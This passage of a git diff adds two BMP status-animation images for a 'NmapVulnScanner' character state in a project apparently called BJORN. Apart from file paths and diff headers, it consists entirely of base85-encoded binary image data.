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 DsCzj7 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner4.bmp b/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner4.bmp new file mode 100644 index 0000000000000000000000000000000000000000..2883594bea91a13dba13bb36173019043a69dee4 GIT binary patch literal 18462 zcmd^_by!?U+URqi{qFAU%*088J2cYJja%dH1cGaD0we@?T5t;vfdIkX6D&kYkOX&k z4?%-Vf7LKIlbs0}l9}0m?s=-~IbBuft@_m~RYyeRNu|yl9h@Mi13!gde*fnT{!#gy zL2|K|8hSPu`ehX>fh-NU_) z2V0B#>l1s+L%Sb(b{0E!7Fu`a-|fu3-I;CNo^9BfsRLR91ta^Q*aJ?sU zwJT+{$_6{OCi)bVijKND#1u_tx2Hx)EkX-``1IFbYM zj-=(*L?C>tCwXrmWp5~bf4mU;{tfnE^*hx3?W~6fJFETqE3J{M0JJN44Gh041()Me z@~5;rl(E}G-t#u@pdykgX!HBp|_-jc!?l<6i|6u=Bildt^V}Q-ZTK+TG((9#&ijhldAyn+rQj1Dmsr8)HvC4i>NV;`|jr?+vBq z1l;B%qmO!!QQ6j$nD<1CLrsU5f4VMisV#A?F>dNj?DU)1*~a@o&Ak<&k`T7*qGp-p zwUsTM7~e1se5%*!Xi#gbBf&#LBu_%^!!KT>d$ab=ofcPzsv9@6IF&JMlDu^Eqa#EA z71qx?0oVt-8wcAfyBqU6E5l2pZ&f&Xog5NNo*npkw>w)`Xo#U{{)a@C9(9 zpkW3{iWYVq#wkj{0Qnb;ovNU~?#H#errKT_oE$Rj4APX4bPb(WN84UM*S=u) z-cYxJ2>1G1mWi~Y`Fz?Umnlk13XW#|w8s3sdi|XBH|K2)Eo_(QL?P;2mj&2u071x7^U6^1NKtYLT&3qaN5lFPJ@*w+8Mr3o+(i=} z{z@ye&T#a=ec!<__ilg3*G?8iraG}Q3bw>>7b+gf3nZp`TEJ_8h5cp#C;k2FSivF- zj<&{TRRJ093pBD6tg1}>nk-@(EFx;m0?G_L3Ur+E5Ox`A7HKM&G&M|?hD9F2rpUl~ zosmZs#;*Yv0ZA3gCrm;oK|xb&Vpy)HK3bO2k{X_&3D*p?p=AZR3=P1AOH;$?FJ8vT z$~s9(2RH=0t)K4h-FWq=yDF=(DCSAZ-DFo$Q!OTOKk?g=1YA}|2LA=tqpAF`@F6Si zVYrv?lftsHtU}K7)H-lsDGKHzb+X9Pu*%W0$|_ z&U+ck@)MaDDYFY9{1E2jICDT6%WvK+v+HSsjUVa8B4>d<2LN?|fh*^Fj2Mu_y zLS!JU(m2(!a^sVUvI{@U>&(x3(=xu4m{grt^tyX?y|!`U?1F@iZT!I(ep%Vxd;-lK+aqhA>m*>N5g)eLX?z|^AaV? zSrRxNd7x?Zv!}x~O+)cfMF|fdC1+HjQ1N*=^)G72LR=nHBCFGH##?jhp`Dx$4o(${ zzmN40yR)@psG#PB38G2&=yyin>$rB{ytVL zc6Di0T|h1&wRm9fATq92f!UDtCrajj60`i9%v4ZEnu?F=%w>6qu$PvLpCRV9q=~hZ z2{2uZsUO-u4;fg93@So3 z|40t~7pXD7wyyyat>b1ZYXM9baDYezAdmn^#{=#102N$>3dlzX7J!8G&j;E?*~fr3 zNF8@1XsP7}9NJmg)=th61TQ(5P#`*~W9Vb=%6jO%?6|nRq_k3uM{HO`ZbRo(>+|tf z32&2)6GK#eZiq;2ZEgVA-^ZiROa27wv$7}9vn1SjjAkNw(4R z3#09hGV(!sBzswhqBUI5mLWi$XaI^!dFX&#kWhgID8GD^i62VS#p`Y)%IyJ4ABE8d z6XWTlht%g+HPEnb>0WFe|1h+5&@eFbynCWyWNvV4fAkPLJiRv1x!Cu7vN^R?gqowZ zvHlNL`zKgC-?ecPL#(BY-PG(6_%L@hM=(Z|wkKNK1Fh+XGC(7}vydUhD4#5}p*Pwq z4Ha033CIWO6Dz>Qsn#U{W$cR#$VY~hAiYvhx}In)cZ`mgz0w^ignW8j&5MGT#+SYA zv#X<6Z1>v6o8FP4qKfR8*mNZNfw66@`faAmBngq>e-A6zaRYyKF}IPVLiihE0Hu|r ziMO^V@+QX1A@*1?DEB0sYx?KmjMn2JIKc$sK#$TddOcEYKFT*2?U{lMD#TeeFmlIO zjFuZl4~cfZFT^B#=LWhmuC9OJL+AKZUS@u(pI-sm`E{5}e+p_O3Dt1R_>GaF6d|d- zmDT6w`o;6_)oWLC2QNO8y@E9`Hejw8T~8FyrEN4aAP=LD#8`!*f$E<~5Y4UbY0n&U! zONCg44OpOk3Fw~2>I3Y-a@UK6N1=um6eSpv5))Qd2xP&7+HrM}W%s6_`00gPygv0$0 z&|m0}EFZ^>4k@*@4&=Lbt;)@^H$C|MOyB<2$N3j&bLF86l@T8vhc(+lhM8qpg zi(mB7&kMhib$(_}j#ZHR5(DQYdK;NrJ|OT~g(5?X(WvxeU7`aE(E&%4$E-M9@V5Zz zmyg87siT$kh!5Zb8ZQu!KmsM8&9Rz~^5ed*l7s zL|N#3#l5wsF-`V1zT6Vjm#<8YkN(wqU0qty7F943&~#M1OVTI7bH+`-GSKhE@26mwVrPgxgGg z!UZ#QG-t@beDCm53kwuGIn6yw_1U(HmHt=r)luVx!Oufokiyc6*J#iF&p)%%lL713 zw@%-vSKz7E>W1npvVlfEXt0!Ox}k4}p>V86W{FeS(HM_%bYL+muvl05t~7^|qM-Io zEf){p9Hd{4xsj)(nK#g!D>7C0hOIn8Q<~$tv93F?Sm5QqS~V_)<2>6lFdxKZE44eU zS1#u|TQtOZqIDFcp-^^0T44r06&@uKs4x#R^T=TTk!nxOzJ>Mp@pFK^mkb3W;3fvd zUK}gf?}Qe6`WJZk7hpmk`A1g=#n$*oRbxWR{KBh3VxI_5@u{*aYO=^n5OWBUaq*LI zDYDqhKrInuoB|{qlB8VPoY&={Vp1%!;YqK61k630kieK4zo;ryNU4Wkfd?QC%J;h+ zE(T#0CZggbBo~K?IB9ty4gDRA1NGHC<%Eq0{)rbA=DB!Kzo zdV=L1qve5iPVfpW42Z6befT^)JkJ*yhjEV#@Jo%rLigJ;X$;xdf4HLY@*gQeo`wf{Yf@9NY_Y(bi~SbX z-QC^x#+C&C2zESbJ6Q{Viy+LMNR)S0OzMkZ{|83$db*MtHY zMI`$A#R@?s{i2^Bk!e1@IsTy~w{E)GSa|z~m3m_`k>JiQw3L^cKPIWr!_7~gQ&L|> z*I3omRO^S}9NzZ(Ja-=y#`51VF_;jSz;)IllW4GSmx`7V_Xl zWLmw2k%xw~?id#PYIxkz-dj*y6$%%jqUEKc<)o$MAhJd*QiZ zVd=8$Vyc1~DhO32glv3bDFzh>v{m-1855lZVc@-To`M{YmYxL8NXE)Q%1TE9qaa|o zc%FpdDy6;|%1YlE$|UER+?3nYSJpWhnqKdp_zE5W5|!3s;+Z1CFWlSF`WM;o@tyzu zfG{?EMwh#h!CvXgk~hzuBPAz-!65uJB%DNeOoVuhL|37Ncudrk{QSJC^fZWbKM`>Y zNqTul>&ohAOKIj;ym&J-RzEzRm|l28SXoC-H>doSo`u8NABiamS(s@MR7C7JA$U*% zkQ1`<@T&0hC{PkXFI^x(ut~B*c^;P6#TGOMB-f=p8!zgZ!91u^(ze&rFl?@S{S{D9 zb!xqSF2>K+jh%>DLBZ_Y1#$>2FC8sEIT@>>qC{w@MR}E1&1;|R0#`=|4M_=k1vN_q zLhbSe3N}9R=UqcRt2;gG*p4M!>RrdSEo}C#eAKsg{r3+9^biC&DLWkmcFS5hCEcl} zHsHw%|Je9Ddd4b>8pg761{^RUJUlAGE5yKP?%D+-Lz6Z29OPv*&2>y4=jH8eZGJw& zFP?uRE3jm6Y;SJc8e0GBA6Fst0@PG|3{Z}TS?I;R+%;_WGB#r#n>LS4|A0+zZ}GFY zQx%ui=0m8R{h3rr)4XTxpmpJ}Z4uk{9@{d1(7%BVh|fBAjugr$NQ4iSkQRFWHgW}9 zyo}9Tz-BHUrmr5R&u_8sV~f0$^wik+!p!W>mKN}u{flJ3 zFZ@PUAONs}+|tVN;w3sJW(gu<`keBxneE3Dd%3fR*@Nr%I~F4bH#%Vu{Ct)qrMwpK;c(v{bSz?)q?+Qs)QPT6$#q_YAn&-(e;WtosdHkFZ_rsJbD+^OY z=87}Ay-+r!WGrwN;q&LI-!T3HYQ<&&k7-2%^ zFVJGVL;qW>uCC~F7ilT!!~}#nXSP!pvDv99h7xq=ZtF7pB6&*6WhN$cB0M-Xrqh2<`!B+P8=(ibjJ$*USgq~~WpZNx-8AS9w?ViF=DVRvxQ-NfbqU-z<;QsTh# zwS?tFBHq?2c6aDmOOS>|XiQ_%7xt1>6~riMdGHCDHMK1MTdY=A4i_%dkx>aL$a7BZ zMo(d50z9PTpqF&G300W!tW{_*R&ZSbQY}&Px7`6Bu&L$G94X0J*f?bguF>OPqCWpK z@x}9G1lMQ?2%RK$bciFI~r}w!F)YSA6f(V9*HUC*`SYoV-hlN%{O<}aB zu^tbhE`nH_kJvyd0M#>{3qQ%Xn0E0_%@G4MJu|t^zs3>`j z%|$*OM$Yd?`8$cn20668DUEbgG3B{tE=*=5K;q{rGP!qub~pCAG=hd+0G|-5tz&+A z#7`~1i#0E====pTCN>2!Vv5)AOvkrTZDW4@GlO7>8=oID6C>Br8XHkwZ$(Z5VdIh^B!%&_3$ai^ zsY&Q428~5#Wt^Cu`>sI@3Du&lkJHhit?gC&r_>I z{fk|zhX-3&?DE#&{C>nNHvHYFvjBpTng#)96TfnW%GJO?nUT*$!{n}_jtmWZb#j=7 z@(m(#UM4n0D1`D^Wy~RVe|oEbbYl#Bmj>j#Uu&P+5C4D-FD|_aA*W`Bi_<`OF8)Mh za$W1i<0nV+{tembZ1@;-Vrbk*K~0jKPg7chpBTnK&CSRnOA8U9C8voFG3{xy9vV*v z<_FRSc4%tftL&M+fB-!SF$*`Z{G}@pyE}J^??)o8F{XsZq0H=sNa4@&Qr=V*Kw$!$ zg4*;9(p2P>QDNF+qn2}PPr+AOJ6P;TZ2!oXdqR>Dl$x3v!q37cap4j*_0JSWDmMig z*c^>-t$bKMy@F523goplGzn3_^%b?=^^Ila)FJR0&84(y84&8XeMA(jE}y3o;2?Ll z6V1=|eq0_M5wEMK&qjt%NlD4W#vyYJA4+(EOh-t`Kvb3SN0JzHh`FpL%T;OvaW!K} zbv`?o~cqofb# z5_ODCc8yHo;?6nDiU!sv0lgSSE%ML=Tvk7?_nMl!b zUS|<-(bB&uD3uY2Dh&4zcD3O~2zi9XhNl#YN*hvgOxR7U89TIa_TC467T00aIjy#L;rOezRG$GIzK%t1LM1Gdbe$O zwJ^UwJEN<#Z2Xpn`wa#}x`VHyqCO1?J)eS_l&+1`4J#Qnb2)W$VOebkR`JW%pp+C$ zuGZ#VHCg?y@_knH1yF*2QOE$@4kH~glsFg{R8T0-W!hQ19_ z!^lZd!%|ROjg?D^hLIod8WRy7!%Yc|ggf9-7l)VK{o<05tn|*Z(&6Tz1q~V1n=-0f z8^FE);P@j}@Q%vty0*HMO3TPfQQkmaW=}zOZ(;6Wba16K6;G6fQ_5YG22@xI!X*mh zrKf;1GH}t;bMkOY%8Ds?+gmr3B@e$Y?0%ZvT9w}ay5O#odS;OKP-7WL5%zW%Ba?wQ zg>BUt9W_~fFY^X!3sQo;^wl&)g=Jw(d{BBGYGP&qW+6@jm>IuPx`R)!!EGs8!Q}Xc z{OtbxoZj4w?y|Cx#-1r5HXe+v3y7P?$~g)7E38K*QJk8Cpn<*V7=xte`wY9H>#b8}wdrfA?lZ>|NwB|<-Tg&su+ul{gg{7fg;vDR} zZWx3a-;tqYO-ExYBBMOi49qpGT1QqMl??*W{G6Vg)XtihQzg~4oTQMqFX~RBJTCtV zD_A-fmu_&2hXlsdw|)Rp^Rv40v%B6j&yB3_0SCdj2Rf>oj5a^-e4e9+khmqR6l!33 z-^R8$6qAKuE<$aFToSM?s3Zr^hO(*1Xx=R)fa-Q z{`&F{Gb3Xi&BJZ2uZwarkWM8bm`HQ$Frzz~aA7-D&7RtV!FMn81(Y5nWWL8@2bXqU zyqV0+=*Y|N&Q9%W8Cn< zm5E*K=mvIr5BsvAO#vo0+|jZ;H{8|KB0$O%Vr~~@Xy_+@-zrls8U?!w&O*5T!;J?!Wvc5D+nz6o#-^<=fv!xE3h$Dl)1`6OGO zz3P4Ywj?aLIw3MIFnD%o=(zUd%HnY2V~mlRkGc5+3^LB$(OT(7l#|0~bM^M-`f;0q z=9V1)z^eP?TW%cBwch|Kq z8f)nLJ9-{%r@s8T)0gym?BO#LQ~YF1Ie9e|RZ}_XU3G2qle^fl4ea<9t}6fy%q21O zz9P5C=K2O0&i>wxjk>;`sC;2qR9=8zyuEXvuG#d!;PFVof-pbS>|<&cU}e=(mEKm9 zWuu}I=kD}jvgeluSZwF(dX$RZLwBznf8V@&Q3|a50rqakwNoP#{B-cAk88k|dt&Do z*7425@$JLsZ>BQSI%{6dM%+tOgbQzP0u%Z2>T@z{Wqv6?Bm8;&XhH7aWa;zuP6DqFV7BtYS36w3({HoDF zN=<;0DK+F?j$cTEGpg@h>-NUR;>^Tw)6?S6>bS7E>UFxiJ|_Xd7L*L zf+0=pVP7@P=H~Q2tsUZnvQ!n6eLHKA6GlbodhNS~!h-&R)xGg;9P8WxcA%qAl!-kA z?YF+NHZ?kNKOo#tO5M-Fv#-7T*ml;ISHh7&+*I^-T85=bX+_aVHK|EYk|IVs-g)1) z=eh*3mR7rokmI;Soe&T_^tQG-F`_a#sW>hjpP7 zTT=z?^w^|@nfVX%i+0Ahl=;QyW*4S`Pl3p>i|w5Gn3vc8qJCT$&YPcf;upmy>owHP zM_EAeRl|IF)!67ZZU%t?FYoMFYZ!W%+kP@UaI(J#w)?+5I^MRKD(eU{vf1jGm84`e zR+QaU);5<=$#V1Vt}d(3%t*HP(C3#$8d)^eRAt2_nJMZB(y`bX-WnSi`K_$~>;k-g zFp#?8>)^R^aDW@tHg;(JptNlG+3PW37OtXH+-IlXXv4|(Vx`%IUo}iu)=Z4;9D*5~ zKESp%bx70k^>_Au8V->9>G-_x`25|gI!|kRNd`V48aB?Wv{Cj>rC}itygZXp$dY>@ zzNS{Ni{v77oH8)M04HQm>o3j?1bz|)PCl1^Tvc2BTn;WcGB$+^ms{B3j|Yz{MxVUs zLqOrr%d3ws`CP*B`N?{%E_x)$%=)r^r1I(b=+*&n4zP%4rR3?0TnE)NX zx>@ifWE(rUvR6?(_PDBvhl-)EqZ_pRqL7nWCx%CX>lBr~u6{8!w7NHT#2SDJvC%XF zJI~L1{`&c+rl9|!?tX3(hQj2OP&cGBJOAv&XRk{?wfnlbqgwDOgBC(AEv*nNw}7>0 zW~1iibV6K~9FxH2N8AGV#p6q?pdlC+a0@+=>%OSqSB(oDUkic6qZtav_^a?p$}k~{QgcA;mbn8eh~5>+mVrT1Wk{mx^4YL=Uf z;X0?pY3{;K>SL^LND9JNUHfkK5IePlefDOmu60Zt%KN0G{G>}j`3bDYS4<3zia|IE zN~-JImWJ2%fZ)c?J~1k;w)%Hp5&5;MqZzL%di3_yAAc75WjRMGtIRK!h70yjFHG-a zd*?TsdRJm19$e=ZTmGsNzRC*LOFt(M4e{%JGn*}=t3b6=n_If_nh{=pU?5<_{N>@C zuJj~J`})!ezoLw(=1M;$KCEeMjsOG=*rXB}AC8D8A= zwDpu`;RD~)eSJV*Wj!8IW?Tvz2~E?xuIX(ou$iujSwRMNum}G7B%TENXUdPqli(jN z&n-T&u{E)KIJbi>FRg+RQ`c5K|HJWomGyXBU|Zy1V5P<{{rvM`D$gVAXmo31?{M}2 z`{G?EI{{5oZR4L9^mkrbnx4-^%-A{g9t>k`V_Q>L&PY*f7d(zQg;Si46%4Guqel?R zin{B(vb8g}cc3MyjO5P&SU6d;5hI&%`0zhue7zZX#3D$^*4Wv>(AT!AhqQ$4fyA6E6GRTL4T zlf&aUfnN{4pLO{StiMd(V0WJ)pNNsXmZp@Fmz5*v>Q64TpN;0kQ=mDpXT2$X7+W>%TI-W>&dZ|7N+IM^6-ax`fVIN;riAd mzn%5?%UaMm2+rTy+n;O?EO~JbY-e!CDSh;~@o|3U%>M$F9U5E! literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner5.bmp b/resources/default_config/characters/BJORN/status/NmapVulnScanner/NmapVulnScanner5.bmp new file mode 100644 index 0000000000000000000000000000000000000000..2bd18470c28751c17e89783c485b4b115e7ae04e GIT binary patch literal 18462 zcmd^{by!@@5_q}`1n|mfUQ7pK-OXJ$Oy9IZ5Z2=mm(MFp9jk^R30TLj%2Y2@% z2`>FMFefK7H$rCax&OTSic0mas#W!?wN_Pa`647kAo0^xUH?7P|2GF-etyvJBj3$>_(Ln;Cm`y-GyL=u_Wzsk-@+D>jtaqe7rMx_F(}Kb#eOfQtYMhi@&atKg)V?esX&F{%B|VaJl`%OwI0S z;qFl8?%?yi!Q}m+q=TWP4+HVDBWaN5pb>fXEOyFeVgiUZGge;;=S zQa=u-AB>~}6?Xd3y94Om!K-utz1^F#+n;~br?TPX>f*L5g%88qUxK$~s&3SneAx0C8G0SZUhZC6n zvGkpH&jILNAP!u`{!{>QdmwdxG~-|lGt&?~QWdt{mwG&&xeFBaU)DJs$vB(Le&2`g zDDlq>xAL=7b}$h0G!w5YiUHi_M{$3g73g9A!|X&$@{45m2nQW!DN!pnZWkuLU@q|# z5v6Pyoh&)MXhAh3kE%W%y*e$UHV-etSZk&!?r0LTKb&?jngJ*qP$3Wjl^;!DhN{9X zBm}r|DR_uzWytAkP;Q4~n1hiF0J^&@z}HevfQpFW?ysD`K9P7rqJT#s{)FP`-Me8S z0cWSDKZN_^to_{`uDbfRAQ2Zv?kFB`k-S#5fpw{|UB)w;XbrPqRns74JE)3HsEJda zmJNnq)qs+X|0%VNl=OU4>~??3YFqqb3u>tawbGsdsClF+T%3YMLD)2_vZ=af5FUVJ zdrZ=dfdQos+G1SzxH9;p{=A~aI?tMHZF@YNYm}d5vn#?`#JMS{W~L|qm8{37C&5lG zYUIr6a{5)q_W9OMG0&{vN)}$?HZTz<1A0}6xbJh#jA-RpUja9F1@n9pw^HykJ34N0 zN;-Xh5osD02{Hz8GI}vGdI@p{1qOCuB5I2NAk&wPbhoVu2_AaUbYi0AtIp0Q$x00- zrogCc_qsTYAUsAxy+*=4$D_PjEi6;Wg$sDJgnlI|D=h?AFK)a<|Dax%R+ixkn%Q!O zLE08BV9Q`BZ$mn*K&gl{(+Z41i3gv1ifKuT)fp*rh}2N z@q~a0q}NcOOS7wav57WHQq}>F(Vc`#{0_c}t|s8M7r>5mv+#qg{oP%GoMO3PZ3|}Y zbm)yZoQP0~Nmnay<1vG)n^Y-V!5M_4 z>FJc2IYAG}MW51$6VpkM(1S_nC5Y)INf{+cndB+i!Q@Q*ge1lK+7n3s91kZKS-nul zh>GmCw{_Evg@di=4w$+dLf$b`JB0B*QAt5I0C7Vz{t?!*vol9MZ7T_BF9l`zawdf?z z&bZ*oD7$8J5$A-M$wbs@LiB7xSd_L`nn%h`ENSSmsNaI8*Y; z(z6NTGBW;5AVNS75DVecN|7;3k~2#JhE2}G{1~6;_7hYPW^`hwdwR2HYAYR8gAS`e 